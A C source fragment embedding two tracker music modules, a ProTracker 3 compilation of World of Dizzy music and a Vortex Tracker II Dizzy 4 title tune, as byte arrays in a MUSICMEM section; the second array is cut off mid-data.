const uint8_t dizzy[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x37, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x57, 0x6f,
0x72, 0x6c, 0x64, 0x20, 0x6f, 0x66, 0x20, 0x44, 0x69, 0x7a, 0x7a, 0x79, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x43, 0x6a, 0x20, 0x53, 0x70, 0x6c, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x27, 0x73, 0x20,
0x49, 0x6e, 0x74, 0x72, 0x6f, 0x20, 0x6d, 0x69, 0x78, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x02, 0x04, 0x18, 0x17, 0xe2, 0x00, 0x00, 0x00, 0xbe, 0x0d, 0x00, 0x00, 0xd4,
0x0d, 0x00, 0x00, 0xe2, 0x0d, 0xf4, 0x0d, 0x0a, 0x0e, 0x40, 0x0e, 0x4e, 0x0e, 0x54, 0x0e, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, 0x0e, 0x00, 0x00, 0x5d, 0x0e, 0x63,
0x0e, 0x68, 0x0e, 0x6d, 0x0e, 0x71, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x24, 0x00, 0x03, 0x00, 0x03, 0x06,
0x0f, 0x06, 0x18, 0x09, 0x0c, 0x09, 0x0c, 0x12, 0x15, 0x12, 0x15, 0x1b, 0x1e, 0x1b, 0x27, 0x2a,
0x2d, 0xff, 0xf7, 0x02, 0xa0, 0x03, 0x08, 0x04, 0x8d, 0x04, 0x3c, 0x05, 0xa3, 0x05, 0x28, 0x06,
0xcc, 0x06, 0x1b, 0x07, 0xf7, 0x08, 0x9b, 0x09, 0x09, 0x0a, 0x4a, 0x0a, 0xee, 0x0a, 0x66, 0x0b,
0x8d, 0x04, 0xa0, 0x07, 0x04, 0x08, 0x28, 0x06, 0x93, 0x0b, 0x4f, 0x01, 0x8d, 0x04, 0xe8, 0x0b,
0x58, 0x0c, 0x8d, 0x04, 0x85, 0x08, 0x04, 0x08, 0x28, 0x06, 0x4f, 0x01, 0xd4, 0x01, 0x8d, 0x04,
0x31, 0x02, 0xb6, 0x02, 0x42, 0x01, 0x4f, 0x01, 0xd4, 0x01, 0x15, 0x02, 0x31, 0x02, 0xb6, 0x02,
0xdd, 0x0c, 0x31, 0x02, 0xb6, 0x02, 0x79, 0x0d, 0x8c, 0x0d, 0x93, 0x0d, 0xba, 0x0d, 0xba, 0x0d,
0xba, 0x0d, 0x1a, 0x00, 0x53, 0x0c, 0x40, 0xb1, 0x20, 0x60, 0xbb, 0x00, 0x68, 0x5c, 0x00, 0xf2,
0x02, 0xcc, 0xb1, 0x01, 0x78,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0xd3, 0xb9, 0x00, 0x34, 0x51, 0xd7, 0xb9, 0x00, 0x68,
0x6f, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0xd6, 0xbd, 0x00, 0x68, 0x73, 0xd3, 0xb9, 0x00, 0x34, 0xb1,
0x01, 0x51, 0x51, 0xd7, 0xbd, 0x00, 0x68, 0xb1, 0x02, 0x6f, 0xd3, 0xb9, 0x00, 0x34, 0x51, 0x00,
0xf0, 0x02, 0xcf, 0xb1, 0x03, 0x7f, 0xb1, 0x01, 0xc0, 0xb1, 0x03, 0x7f, 0xb1, 0x01, 0xc0, 0xb1,
0x02, 0x7f, 0xda, 0x02, 0x7d, 0x01, 0x1c, 0x00, 0x11, 0x00, 0x02, 0x7b, 0x01, 0x1e, 0x00, 0x11,
0x00, 0x02, 0x7d, 0x01, 0x1e, 0x00, 0xef, 0xff, 0xca, 0x7b, 0xd1, 0xcf, 0x7f, 0xda, 0xca, 0x7d,
0xd1, 0xcf, 0x7b, 0xca, 0x7f, 0xcf, 0x7b, 0x7b, 0xda, 0x02, 0x7a, 0x01, 0x11, 0x00, 0x11, 0x00,
0xd1, 0x02, 0x7b, 0x01, 0x11, 0x00, 0xef, 0xff, 0xda, 0x7a, 0x02, 0x78, 0x01, 0x24, 0x00, 0x11,
0x00, 0xd1, 0x76, 0x78, 0x7a, 0xcc, 0x76, 0xcf, 0x7b, 0xca, 0x76, 0xcc, 0x7b, 0xc8, 0x7b, 0xca,
0x7b, 0xc8, 0x7b, 0xcf, 0x7b, 0x7d, 0x7b, 0x00, 0xf0, 0x0a, 0xcd, 0xb1, 0x01, 0x84, 0xca, 0x84,
0xcd, 0x87, 0xca, 0x84, 0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x84, 0xca, 0x87,
0xcd, 0x87, 0xca, 0x84, 0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x84, 0xca, 0x87,
0xcd, 0x87, 0xca, 0x84, 0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x84, 0xca, 0x87,
0xcd, 0x87, 0xca, 0x84, 0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x80, 0xca, 0x87,
0xcd, 0x84, 0xca, 0x80, 0xcd, 0x87, 0xca, 0x84, 0xcd, 0x84, 0xca, 0x87, 0xcd, 0x80, 0xca, 0x84,
0xcd, 0x84, 0xca, 0x80, 0xcd, 0x87, 0xca, 0x84, 0xcd, 0x84, 0xca, 0x87, 0xcd, 0x80, 0xca, 0x84,
0xcd, 0x84, 0xca, 0x80, 0xcd, 0x87, 0xca, 0x84, 0xcd, 0x84, 0xca, 0x87, 0xcd, 0x8c, 0xca, 0x84,
0xcd, 0x87, 0xca, 0x8c, 0xcd, 0x89, 0xca, 0x87, 0xcd, 0x84, 0xca, 0x89, 0x00, 0x1c, 0x00, 0x46,
0x0c, 0x40, 0xb1, 0x02, 0x68, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7, 0xbd, 0x00, 0x46, 0x6f, 0xd3,
0xbd, 0x00, 0x23, 0x51, 0xd6, 0xbd, 0x00, 0x46, 0x68, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7, 0xbd,
0x00, 0x46, 0x6f, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd6, 0xbd, 0x00, 0x46, 0x68, 0xd3, 0xbd, 0x00,
0x23, 0x51, 0xd7, 0xbd, 0x00, 0x46, 0x6f, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd6, 0xbd, 0x00, 0x46,
0x68, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7, 0xbd, 0x00, 0x46, 0x6f, 0xd3, 0xbd, 0x00, 0x23, 0x51,
0xd6, 0xbd, 0x00, 0x5d, 0x67, 0xd3, 0xbd, 0x00, 0x2f, 0x51, 0xd7, 0xbd, 0x00, 0x5d, 0x6f, 0xd3,
0x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01, 0x82, 0xca, 0x82, 0xcd, 0x87, 0xca, 0x82, 0xcd,
0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x82, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x82, 0xcd,
0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x82, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x82, 0xcd,
0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x82, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x82, 0xcd,
0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x7d, 0xca, 0x87, 0xcd, 0x82, 0xca, 0x7d, 0xcd,
0x89, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x7d, 0xcd, 0x7d, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x7d, 0xcd,
0x89, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x7d, 0xcd, 0x7d, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x7d, 0xcd,
0x89, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x89, 0xcd, 0x8b, 0xca, 0x82, 0xcd, 0x89, 0xca, 0x89, 0xcd,
0x8c, 0xca, 0x89, 0xcd, 0x8e, 0xca, 0x8c, 0x00, 0x1c, 0x00, 0x53, 0x0c, 0x40, 0xb1, 0x02, 0x67,
0xd3, 0xbd, 0x00, 0x2a, 0x51, 0xd7, 0xbd, 0x00, 0x53, 0x6f, 0xd3, 0xbd, 0x00, 0x2a, 0x51, 0xd6,
0xbd, 0x00, 0x53, 0x67, 0xd3, 0xbd, 0x00, 0x2a, 0x51, 0xd7, 0xbd, 0x00, 0x53, 0x6f, 0xd3, 0xbd,
0x00, 0x2a, 0x51, 0xd6, 0xbd, 0x00, 0x53, 0x67, 0xd3, 0xbd, 0x00, 0x2a, 0x51, 0xd7, 0xbd, 0x00,
0x53, 0x6f, 0xd3, 0xb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 0xcf, 0xb1, 0x01,
0x97, 0xca, 0x84, 0xcf, 0x97, 0xca, 0x97, 0xcf, 0x97, 0xca, 0x97, 0xcf, 0x97, 0xca, 0x97, 0xcf,
0x97, 0xca, 0x97, 0xcf, 0x95, 0xca, 0x97, 0xcf, 0x93, 0xca, 0x95, 0xcf, 0x97, 0xca, 0x93, 0xcd,
0x84, 0xca, 0x97, 0xcd, 0x87, 0xca, 0x84, 0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd,
0x84, 0xca, 0x87, 0xcf, 0x93, 0xca, 0x84, 0xcf, 0x93, 0xca, 0x93, 0xcf, 0x92, 0xca, 0x93, 0xcf,
0x93, 0xca, 0x92, 0xcf, 0x92, 0xca, 0x93, 0xcf, 0x90, 0xca, 0x92, 0xcf, 0x8e, 0xca, 0x90, 0xcf,
0x90, 0xca, 0x8e, 0xcf, 0x92, 0xca, 0x90, 0xcd, 0x8e, 0xca, 0x91, 0xcf, 0x93, 0xca, 0x8e, 0xcd,
0x80, 0xca, 0x93, 0xcd, 0x84, 0xca, 0x80, 0xcd, 0x87, 0xca, 0x84, 0xcd, 0x84, 0xca, 0x87, 0xcd,
0x8c, 0xca, 0x84, 0xcd, 0x87, 0xca, 0x8c, 0xcd, 0x89, 0xca, 0x87, 0xcd, 0x84, 0xca, 0x89, 0x00,
0xda, 0xcf, 0xb1, 0x04, 0x7f, 0xc8, 0x01, 0xb1, 0x02, 0x7f, 0x06, 0x11, 0x00, 0xd1, 0xcf, 0x7d,
0xca, 0x7f, 0x7d, 0xc9, 0x7f, 0xc6, 0x7d, 0xcf, 0x7f, 0xcc, 0x7d, 0xcf, 0x02, 0x80, 0x01, 0x28,
0x00, 0xef, 0xff, 0x7d, 0xc8, 0x7d, 0xcc, 0x7d, 0xc8, 0x7d, 0xca, 0x7d, 0xda, 0xcf, 0xb1, 0x03,
0x7f, 0xb1, 0x01, 0xc0, 0xd1, 0xc8, 0xb1, 0x02, 0x7f, 0xcf, 0x7d, 0xcb, 0x7f, 0xc8, 0x7d, 0xca,
0x7f, 0x7d, 0xda, 0xcf, 0x02, 0x7f, 0x01, 0x1c, 0x00, 0xef, 0xff, 0xcc, 0x7d, 0xcf, 0x7d, 0x02,
0x7b, 0x01, 0x1e, 0x00, 0x11, 0x00, 0xcc, 0x7d, 0xcf, 0x7d, 0x02, 0x7f, 0x01, 0x1c, 0x00, 0xef,
0xff, 0xcc, 0x7d, 0x00, 0xf0, 0x0a, 0xcf, 0xb1, 0x01, 0x97, 0xca, 0x82, 0xc9, 0x87, 0xc8, 0x97,
0xcf, 0x8b, 0xca, 0x97, 0xcf, 0x95, 0xca, 0x97, 0xcd, 0x82, 0xca, 0x95, 0xcd, 0x87, 0xca, 0x82,
0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcf, 0x97, 0xca, 0x87, 0xc8, 0x97, 0xca, 0x82,
0xcf, 0x98, 0xca, 0x87, 0xcf, 0x95, 0xca, 0x8b, 0x93, 0x87, 0xcd, 0x87, 0xca, 0x82, 0xcd, 0x8b,
0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcf, 0x97, 0xca, 0x87, 0xcd, 0x82, 0xca, 0x7d, 0xcd, 0x89,
0xca, 0x82, 0xcf, 0x95, 0xca, 0x7d, 0xcd, 0x7d, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x7d, 0xcd, 0x89,
0xca, 0x82, 0xcd, 0x82, 0xca, 0x7d, 0xcf, 0x97, 0xca, 0x82, 0xcf, 0x97, 0xca, 0x7d, 0xcf, 0x95,
0xca, 0x82, 0xcf, 0x93, 0xca, 0x89, 0x95, 0x82, 0xcf, 0x95, 0xca, 0x89, 0xcf, 0x97, 0xca, 0x89,
0xcf, 0x8e, 0xca, 0x8c, 0x00, 0xf0, 0x14, 0xcf, 0xb1, 0x04, 0x7f, 0xca, 0x01, 0xb1, 0x02, 0x7f,
0x06, 0x11, 0x00, 0xd1, 0xcf, 0x02, 0x7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x6c, 0xd3,
0xbd, 0x00, 0x34, 0x51, 0xd7, 0xbd, 0x00, 0x68, 0x6f, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0xd6, 0xbd,
0x00, 0x68, 0x6c, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0xd7, 0xbd, 0x00, 0x68, 0x6f, 0xd3, 0xbd, 0x00,
0x34, 0x51, 0xd6, 0xbd, 0x00, 0x68, 0x6c, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0xd7, 0xbd, 0x00, 0x68,
0x6f, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0xd6, 0xbd, 0x00, 0x68, 0x6c, 0xd3, 0xbd, 0x00, 0x34, 0x51,
0xd7, 0xbd, 0x00, 0x68, 0x6f, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0x00, 0xf0, 0x02, 0xcf, 0x01, 0xb1,
0x03, 0x8b, 0x0f, 0x11, 0x00, 0xb1, 0x01, 0xc0, 0xb1, 0x03, 0x8b, 0xb1, 0x01, 0xc0, 0xb1, 0x02,
0x8b, 0xda, 0x02, 0x89, 0x01, 0x0d, 0x00, 0x11, 0x00, 0x02, 0x87, 0x01, 0x10, 0x00, 0x11, 0x00,
0x02, 0x89, 0x01, 0x10, 0x00, 0xef, 0xff, 0xd1, 0xca, 0x87, 0xcf, 0x8b, 0xca, 0x89, 0xcf, 0x87,
0xca, 0x8b, 0xcf, 0x87, 0xda, 0x87, 0x02, 0x86, 0x01, 0x08, 0x00, 0x11, 0x00, 0x02, 0x87, 0x01,
0x08, 0x00, 0xef, 0xff, 0x02, 0x86, 0x01, 0x08, 0x00, 0x11, 0x00, 0x02, 0x84, 0x01, 0x12, 0x00,
0x11, 0x00, 0xd1, 0x82, 0x84, 0x86, 0xcc, 0x82, 0xcf, 0x87, 0xca, 0x86, 0xcc, 0x87, 0xc8, 0x87,
0xca, 0x87, 0xc8, 0x87, 0xcf, 0x87, 0x89, 0x87, 0x00, 0xf3, 0x10, 0xcf, 0xb1, 0x02, 0x84, 0x84,
0xca, 0x84, 0xcf, 0x84, 0xca, 0x84, 0x40, 0xcc, 0x78, 0x7f, 0x78, 0x43, 0xcf, 0x84, 0x84, 0xca,
0x84, 0xcf, 0x84, 0xca, 0x84, 0x40, 0xcc, 0x78, 0x7f, 0x78, 0x43, 0xcf, 0x80, 0x80, 0xca, 0x80,
0xcf, 0x80, 0xca, 0x80, 0x40, 0xcc, 0x78, 0x80, 0x78, 0x43, 0xcf, 0x80, 0xca, 0x80, 0xcd, 0x80,
0xcf, 0x80, 0xca, 0x80, 0x40, 0xcc, 0x78, 0x84, 0x79, 0x00, 0x1c, 0x00, 0x46, 0x0c, 0x40, 0xb1,
0x02, 0x6c, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7, 0xbd, 0x00, 0x46, 0x6f, 0xd3, 0xbd, 0x00, 0x23,
0x51, 0xd6, 0xbd, 0x00, 0x46, 0x6c, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7, 0xbd, 0x00, 0x46, 0x6f,
0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd6, 0xbd, 0x00, 0x46, 0x6c, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7,
0xbd, 0x00, 0x46, 0x6f, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd6, 0xbd, 0x00, 0x46, 0x74, 0xd3, 0xbd,
0x00, 0x23, 0x51, 0xd7, 0xbd, 0x00, 0x46, 0x6f, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd6, 0xbd, 0x00,
0x5d, 0x6c, 0xd3, 0xbd, 0x00, 0x2f, 0x51, 0xd7, 0xbd, 0x00, 0x5d, 0x6f, 0xd3, 0xbd, 0x00, 0x2f,
0x51, 0xd6, 0xbd, 0x00, 0x5d, 0x6c, 0xd3, 0xbd, 0x00, 0x2f, 0x51, 0xd7, 0xbd, 0x00, 0x5d, 0x6f,
0xd3, 0xbd, 0x00, 0x2f, 0x51, 0xd6, 0xbd, 0x00, 0x5d, 0x74, 0xd3, 0xbd, 0x00, 0x2f, 0x51, 0xd7,
0xbd, 0x00, 0x5d, 0x6f, 0xd3, 0xbd, 0x00, 0x2f, 0x51, 0xd6, 0xbd, 0x00, 0x5d, 0x74, 0xd3, 0xbd,
0x00, 0x2f, 0x51, 0xd7, 0xbd, 0x00, 0x5d, 0x6f, 0xd3, 0xbd, 0x00, 0x2f, 0x51, 0x00, 0xda, 0xcf,
0xb1, 0x04, 0x8b, 0xca, 0xb1, 0x02, 0x8b, 0xd1, 0xcf, 0x89, 0xca, 0x8b, 0x89, 0xc9, 0x8b, 0xc6,
0x89, 0xda, 0xcf, 0x8b, 0xca, 0x89, 0xd1, 0xcf, 0x8c, 0x02, 0x89, 0x01, 0x13, 0x00, 0x11, 0x00,
0xc8, 0x89, 0xcc, 0x89, 0xc8, 0x89, 0xca, 0x89, 0xda, 0xcf, 0xb1, 0x04, 0x8b, 0xca, 0xb1, 0x02,
0x8b, 0xd1, 0xcf, 0x02, 0x89, 0x01, 0x0d, 0x00, 0x11, 0x00, 0xcb, 0x8b, 0xc8, 0x89, 0xca, 0x8b,
0x89, 0xda, 0xcf, 0x02, 0x8b, 0x01, 0x0d, 0x00, 0xef, 0xff, 0xcc, 0x02, 0x89, 0x01, 0x0d, 0x00,
0x11, 0x00, 0xd1, 0xcf, 0x02, 0x89, 0x01, 0x00, 0x00, 0x11, 0x00, 0x02, 0x87, 0x01, 0x10, 0x00,
0x11, 0x00, 0xcc, 0x89, 0xcf, 0x02, 0x89, 0x01, 0x00, 0x00, 0x11, 0x00, 0x02, 0x8b, 0x01, 0x0d,
0x00, 0xef, 0xff, 0xcc, 0x89, 0x00, 0x43, 0xb0, 0xcf, 0xb1, 0x02, 0x82, 0x82, 0xc0, 0x82, 0xc0,
0x40, 0x76, 0x7f, 0x76, 0x44, 0x87, 0x87, 0xc0, 0x87, 0xc0, 0x40, 0x76, 0x7f, 0x80, 0x43, 0x89,
0x89, 0xc0, 0x89, 0xc0, 0x40, 0x7f, 0x7d, 0x7b, 0x43, 0x8b, 0x8b, 0xc0, 0x89, 0xc0, 0xc0, 0xb1,
0x04, 0x8b, 0x00, 0xf0, 0x02, 0xcf, 0xb1, 0x02, 0x8b, 0x8b, 0xb1, 0x01, 0x8b, 0xc0, 0x8b, 0xc0,
0xda, 0xb1, 0x02, 0x8b, 0x02, 0x89, 0x01, 0x0d, 0x00, 0x11, 0x00, 0x02, 0x87, 0x01, 0x10, 0x00,
0x11, 0x00, 0xd1, 0x02, 0x8b, 0x01, 0x1d, 0x00, 0xef, 0xff, 0xc0, 0xd5, 0xcd, 0x9c, 0x9e, 0xa1,
0xa3, 0xd1, 0xcf, 0x87, 0x87, 0x86, 0x87, 0x86, 0x84, 0x82, 0x84, 0x86, 0xcd, 0x82, 0xcf, 0x87,
0xc0, 0xcd, 0x87, 0xc0, 0xca, 0x87, 0xc0, 0xcf, 0x87, 0x02, 0x89, 0x01, 0x10, 0x00, 0xef, 0xff,
0x02, 0x87, 0x01, 0x10, 0x00, 0x11, 0x00, 0x00, 0xda, 0xcf, 0xb1, 0x04, 0x8b, 0xca, 0x01, 0xb1,
0x02, 0x8b, 0x06, 0x11, 0x00, 0xd1, 0xcf, 0x02, 0x89, 0x01, 0x0d, 0x00, 0x11, 0x00, 0xca, 0x8b,
0x89, 0xc9, 0x8b, 0xc6, 0x89, 0xcf, 0x8b, 0xcc, 0x89, 0xcf, 0x02, 0x8c, 0x01, 0x13, 0x00, 0xef,
0xff, 0x89, 0xc8, 0x89, 0xcc, 0x89, 0xc8, 0x89, 0xca, 0x89, 0xda, 0xcf, 0xb1, 0x03, 0x8b, 0xb1,
0x01, 0xc0, 0xd1, 0xca, 0xb1, 0x02, 0x8b, 0xcf, 0x02, 0x89, 0x01, 0x0d, 0x00, 0x11, 0x00, 0xcb,
0x8b, 0xc8, 0x89, 0xca, 0x8b, 0x89, 0xda, 0xcf, 0x02, 0x8b, 0x01, 0x0d, 0x00, 0xef, 0xff, 0xcc,
0x89, 0xcf, 0x89, 0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2, 0x84, 0xc1, 0x8b, 0x84, 0xb1, 0x20, 0xc0, 0x00, 0xb1, 0x01, 0xc0, 0x00, 0x02, 0x05,
0x01, 0x8f, 0x03, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00,
0x81, 0x8e, 0x00, 0x00, 0x02, 0x03, 0x01, 0x0f, 0xb4, 0xf3, 0x01, 0x8f, 0xb3, 0xf3, 0x00, 0x90,
0x00, 0x00, 0x03, 0x04, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00,
0x80, 0x8c, 0x00, 0x00, 0x04, 0x05, 0x1f, 0x0d, 0xaa, 0x01, 0x01, 0x8c, 0xff, 0x01, 0x01, 0x8b,
0x22, 0x02, 0x01, 0x8b, 0x33, 0x03, 0x00, 0xb0, 0x00, 0x00, 0x0c, 0x0d, 0x01, 0x0f, 0x00, 0x00,
0x01, 0x0f, 0x80, 0x00, 0x01, 0x0f, 0x00, 0x01, 0x01, 0x0e, 0x80, 0x01, 0x00, 0x8d, 0x00, 0x02,
0x00, 0x9c, 0x80, 0x02, 0x00, 0x9b, 0x00, 0x03, 0x00, 0x9a, 0x80, 0x03, 0x00, 0x99, 0x01, 0x04,
0x00, 0x99, 0x80, 0x04, 0x00, 0x98, 0x80, 0x04, 0x00, 0x98, 0x00, 0x05, 0x00, 0x90, 0x00, 0x00,
0x00, 0x03, 0x01, 0x8c, 0x01, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x81, 0x8c, 0x00, 0x00, 0x00, 0x01,
0x00, 0x90, 0x00, 0x00, 0x00, 0x01, 0x01, 0x8e, 0x00, 0x00, 0x00, 0x01, 0x00, 0x03, 0x04, 0x00,
0x0c, 0x18, 0x0c, 0x00, 0x03, 0x00, 0x07, 0x0c, 0x00, 0x03, 0x00, 0x02, 0x0c, 0x01, 0x02, 0x00,
0x0c, 0x00, 0x03, 0x00, 0x04, 0x0c,
};
const uint8_t dizzy4[] MUSICMEM = {
0x56, 0x6f, 0x72, 0x74, 0x65, 0x78, 0x20, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x49,
0x49, 0x20, 0x31, 0x2e, 0x30, 0x20, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x3a, 0x20, 0x44, 0x69,
0x7a, 0x7a, 0x79, 0x20, 0x34, 0x20, 0x6d, 0x61, 0x69, 0x6e, 0x20, 0x74, 0x69, 0x74, 0x6c, 0x65,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x72, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65,
0x79, 0x20, 0x45, 0x6c, 0x64, 0x65, 0x72, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x01, 0x07, 0x0f, 0x01, 0xd9, 0x00, 0x00, 0x00, 0x5a, 0x05, 0x7c, 0x05, 0x00,
0x00, 0xa2, 0x05, 0xd0, 0x05, 0xee, 0x05, 0x00, 0x00, 0x0c, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3a, 0x06, 0x3d, 0x06, 0x47, 0x06, 0x00,
0x00, 0x4a, 0x06, 0x57, 0x06, 0x60, 0x06, 0x69, 0x06, 0x6c, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x06, 0x06, 0x09, 0x09, 0x06,
0x06, 0x0c, 0x0c, 0x0f, 0x12, 0x12, 0x15, 0x15, 0xff, 0x09, 0x01, 0x66, 0x01, 0xb1, 0x01, 0x09,
0x01, 0x66, 0x01, 0xb5, 0x01, 0x30, 0x02, 0x66, 0x01, 0xb5, 0x01, 0x7a, 0x02, 0x66, 0x01, 0xb5,
0x01, 0xc0, 0x02, 0x12, 0x03, 0x5d, 0x03, 0xe2, 0x03, 0xe7, 0x03, 0x32, 0x04, 0xc0, 0x04, 0x12,
0x03, 0x5d, 0x03, 0x0b, 0x05, 0x12, 0x03, 0x5d, 0x03, 0xd1, 0x41, 0xb1, 0x01, 0x90, 0x8c, 0x8e,
0xb1, 0x02, 0x8c, 0xb1, 0x01, 0x87, 0x89, 0x8c, 0x90, 0x8c, 0x8e, 0xb1, 0x02, 0x8c, 0xb1, 0x01,
0x87, 0x89, 0x8c, 0x90, 0x8c, 0x8e, 0xb1, 0x02, 0x8c, 0xb1, 0x01, 0x87, 0x89, 0x8c, 0x90, 0x8c,
0x8e, 0xb1, 0x02, 0x8c, 0xb1, 0x01, 0x87, 0x89, 0x8c, 0x90, 0x8c, 0x8e, 0xb1, 0x02, 0x8c, 0xb1,
0x01, 0x87, 0x89, 0x8c, 0x90, 0x8c, 0x8e, 0xb1, 0x02, 0x8c, 0xb1, 0x01, 0x87, 0x89, 0x8c, 0x90,
0x8c, 0x8e, 0xb1, 0x02, 0x8c, 0xb1, 0x01, 0x87, 0x89, 0x8c, 0x90, 0x8c, 0x8e, 0xb1, 0x02, 0x8c,
0xb1, 0x01, 0x87, 0x89, 0x8c, 0x00, 0xd2, 0x42, 0xb1, 0x02, 0x68, 0x68, 0xb1, 0x01, 0x68, 0xb1,
0x02, 0x68, 0x68, 0x68, 0xb1, 0x01, 0x68, 0xb1, 0x02, 0x68, 0x67, 0x65, 0x65, 0xb1, 0x01, 0x65,
0xb1, 0x02, 0x65, 0x65, 0x65, 0xb1, 0x01, 0x65, 0xb1, 0x02, 0x65, 0x63, 0x61, 0x61, 0xb1, 0x01,
0x61, 0xb1, 0x02, 0x61, 0x61, 0x61, 0xb1, 0x01, 0x61, 0x61, 0x61, 0x60, 0x61, 0xb1, 0x02, 0x63,
0x63, 0xb1, 0x01, 0x63, 0xb1, 0x02, 0x63, 0x63, 0xb1, 0x01, 0x63, 0xb1, 0x02, 0x63, 0x65, 0x67,
0x00, 0xb1, 0x40, 0xd0, 0x00, 0xd5, 0x45, 0xb1, 0x02, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d,
0xd4, 0x44, 0xb1, 0x01, 0x72, 0xd5, 0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5,
0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44,
0xb1, 0x01, 0x72, 0xd5, 0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0x6d,
0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1, 0x01,
0x72, 0xd5, 0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44,
0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1, 0x01, 0x72, 0xd5,
